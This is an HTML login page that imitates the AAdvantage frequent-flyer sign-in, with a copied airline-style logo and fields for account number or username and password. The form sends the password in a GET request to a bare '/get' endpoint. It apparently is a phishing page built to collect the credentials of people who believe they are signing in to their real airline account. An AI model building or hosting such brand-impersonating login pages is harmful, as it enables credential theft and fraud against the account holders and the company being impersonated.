<!DOCTYPE html>
<html>
<head>
<style>
body {
  font-family: 'Arial', sans-serif;
  margin: 0;
  padding: 0;
  background-color: #f3f3f3;
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh;
}

.container {
  max-width: 500px;
  padding: 20px;
  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  background: #fff;
  border-radius: 8px;
}

.logo {
  display: flex;
  justify-content: center;
  margin-bottom: 20px;
}

.logo svg {
  width: 50%;
}

.title, .sub-title {
  text-align: center;
  margin-bottom: 20px;
}

.form-group {
  margin-bottom: 20px;
  display: flex;
  justify-content: center;
}

.input-field {
  width: 100%;
  max-width: 400px;
  height: 40px;
  padding: 10px;
  border-radius: 5px;
  border: 1px solid #ccc;
  font-size: 16px;
}

.button {
  width: 100%;
  max-width: 400px;
  height: 40px;
  background-color: #1a3b73;
  color: #fff;
  border: none;
  border-radius: 5px; 
  cursor: pointer;
}

@media screen and (max-width: 600px) {
  .container {
    margin: 10px;
  }

  .logo svg {
    width: 70%;
  }

  .input-field, .button {
    max-width: 100%;
  }
}
</style>
</head>

<body>

<div class="container">

<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
  <path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
  <path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>  
</svg>
</div>

<h1 class="title">Sign in</h1>

<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>

<form action="/get" id="email-form-step" method="GET">

<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
</div>

<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>

<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>

</form>

</div>

</body>
</html>
